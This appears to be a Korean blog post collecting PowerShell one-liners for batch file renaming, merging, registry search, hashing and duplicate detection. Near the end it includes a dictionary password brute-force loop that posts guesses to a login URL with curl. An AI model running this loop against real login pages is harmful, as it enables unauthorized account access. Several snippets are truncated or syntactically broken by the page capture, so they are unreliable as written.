본문 바로가기

업무 자동화

Powershell 일괄된 작업 처리 모음

반응형

 

  파일 이름 일괄 변경


① 특정 디렉토리 대상

Get-ChildItem -Filter *.png | Rename-Item -NewName { $_.Name -replace 'image',"img"}
cs

해석 : 확장자가 png 파일이라면 "image"라는 이름을 "img"로 모두 바꾼다.

 

② 모든 하위 디렉토리 대상

Get-ChildItem -| Rename-Item -NewName { $_.Name -replace '-(\d)\.','-0$1.'}
cs

해석 : 현재 디렉토리에 존재하는 모든 하위 디렉토리를 대상으로 

         파일 이름중에 -(Dash) 뒤에 숫자가 나오고 .이 있으면  그 숫자 앞에 0을 추가 시킨다.

  예시  abcd-1.txt , abcd-2.txt , abcd-3.txt  abcd-01.txt , abcd-02.txt , abcd-03.txt

 

  파일 이름에서 숫자를 찾아서 값 증가시키기

 

  파일명 변경(순차적으로 변경)

$nr = 1
$Path = 'C:\Users\Administrator\Desktop\*.txt'
Dir -Path $Path | %.txt' -$nr++)}
cs

- 모든 텍스트 파일의 이름을 다음과 같이 변경한다. { 안녕1.txt  , 안녕2.txt ... }

 

 

  파일 크기가 10KB 미만인 파일들만 가져오기 

Get-ChildItem -Path $file_path | Where-Object -FilterScript { $_.Length -lt 10KB } 
cs

 

 

  파일 합치기

현재 경로의 모든 텍스트 파일

모든 txt 파일을 통합파일에 합친다.  (txt를 합친 후에 변경하는 이유는 *.txt 루핑방지)

 
type *.txt > 통합
ren 통합 통합.txt
cs

 

 지정한 파일

$Files = @('C:\abc1234.txt','C:\abc5678.txt')
$Combine_File = 'C:\result.txt'
Get-Content $Files | Out-File $Save_Path -NoClobber -Encoding utf8 
# NoClobber - 덮어쓰지 않겠다
cs

 

 

  다수의 폴더 생성 

 
mkdir $(1..10 | %{"dir$_"})
cs

해석 : 폴더 (dir1 ~ dir10) 생성

 

 

  레지스트리 검색

dir HKCU:, HKLM: -recurse -include PowerShell -ErrorAction SilentlyContinue
cs

레지스트리의 HKCU, HKLM 의  하위폴더(-recurse)에서  
Powershell 글자를 포함한(-include) 레지스트리 키를 검색하기..
단 빨간색으로 나타나는 에러사인은 무시하기 (-ErrorAction SilentlyContinue)

 

  파일 내용 검색 및 변경

내용을 찾은뒤 해당 파일에 검색된 내용에 행을 출력한다.

dir -Path . -Include *.txt -Recurse | Select-String "abc"
cs
dir -Path . -Include *.txt -Recurse | %{$tmp = Get-Content $_; $tmp=$tmp -Replace ("nice","OLLEH"); Set-Content $_ $tmp}
cs

1. 현재경로에 "abc"라는 문자가 들어간 텍스트 파일 및 내용을 모두 조회한다.

2. 위 텍스트 파일을 조회하여 nice라는 문자가 들어간 단어는 모두 OLLEH로 변경한다.

 

 검색 내용이 존재하는 경우 해당 파일의 경로를 얻는다.

$Path = 'C:\Users\Administrator\Desktop'
gci --Path $Path -Filter "*.*" | select-string -Encoding Default "찾는 텍스트"| group path | select name
cs

※ result

C:\Users\Administrator\Desktop\파일1.txt

C:\Users\Administrator\Desktop\파일2.exe

C:\Users\Administrator\Desktop\사진파일.jpg

 

 

  문자열 맨 앞에 행번호 삽입

$str = @('abc123','cba123','qwe123')
$result = ''
 
 For($i = 0$i -lt $str.Length; $i++)
 {
    # increase
    $tmp = [String]([int]$i + 1)+'. '
    
    $str[$i= $str[$i].insert(0,$tmp)
    $str[$i= $str[$i].insert($str[$i].Length,',')
    $result += $str[$i+ "`r`n"
                
 }  echo $result
cs

※ result

1. abc123,

2. cba123,

3. qwe123,

 

  유니코드 변경

$files = @(Get-ChildItem -Recurse -Filter '*.ps1' -Path $PATH)
 
foreach ($file in $files)
{
     Echo $file.name
    (Get-Content $file.FullName) | Set-Content -Encoding utf8 -Path $file.FullName
}
cs

- 확장자가 ps1 파일이면 Encoding을 UTF-8로 변경한다. 

 

  해시값 저장

Dir C:\Users\Administrator\Desktop\ -Recurse | Get-FileHash > c:\Hash.csv
cs

- Powershell 6 부터 사용 가능하다.

 

 

  두 번 개행(엔터)를 한 번 엔터로 변경

$content = $content -replace "`r`n", "," -replace ",," , "`r`n"
cs

 

 

  확장자 변경

Get-ChildItem --'*.txt' | Rename-Item -NewName {“$($_.BaseName).ps1”}
cs

- 하위 디렉토리에 존재하는 모든 텍스트 파일의 확장자 명을 .ps1으로 바꾸겠다.

 

  파일 정보 확인

get-itemproperty -Path 'Desktop\analy.exe' | Format-list -Property * -Force
cs

 

  IP 대역 조회 

1..255 | %
cs

 

  중복파일 확인

$items = Get-ChildItem -File | Get-FileHash 

$item_hash = $items |%{ $_.hash}
$uniq_hash = $item_hash | select –unique
$res = Compare-object –referenceobject $uniq_hash –differenceobject $item_hash
$res = $res.InputObject | select -Unique

foreach ( $hashval in $res ) {
$items | Where-Object hash -eq ( $hashval ) | Select Path
}

  해쉬로 파일 찾기

Get-ChildItem -File | Get-FileHash | Where-Object hash -eq ( _hashvalue_ ) | Select Path

 

  curl Bruteforce

# Set-ExecutionPolicy RemoteSigned -Force	
[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8

$dic = Get-Content -Path ".\dictionary.txt"
$num = 1

foreach($password in $dic)
{
   echo "$num. $password" 
   curl.exe -k -s "https://abc.com/app/login.do" -d "&password=$password&settingType=D"
   # curl.exe -k -X POST -v --cookie "mycookie=7acx3215gg; WHAX=x73f34vbc" -H "Content-Type: application/json; charset=utf-8" -s "https://test.com/api/test" -d '{\"app_version\":\"1.0.0\",\"app_name\":\"test\"}'
   # $ curl -X POST http://localhost:8080/content-type/application-json -H 'Content-Type: application/json' --data-raw '{"string": "string"}'
   # @를 활용하면 파일의 내용을 전달할 수 있다.   -d @test.json
   
   $num+=1
}

 

 

 

  기타 

 

1. 가장 많이 묻는 명령어(왠만한거 다 나온다)

   http://powershell-guru.com/faq-powershell-in-korean/

 

 

반응형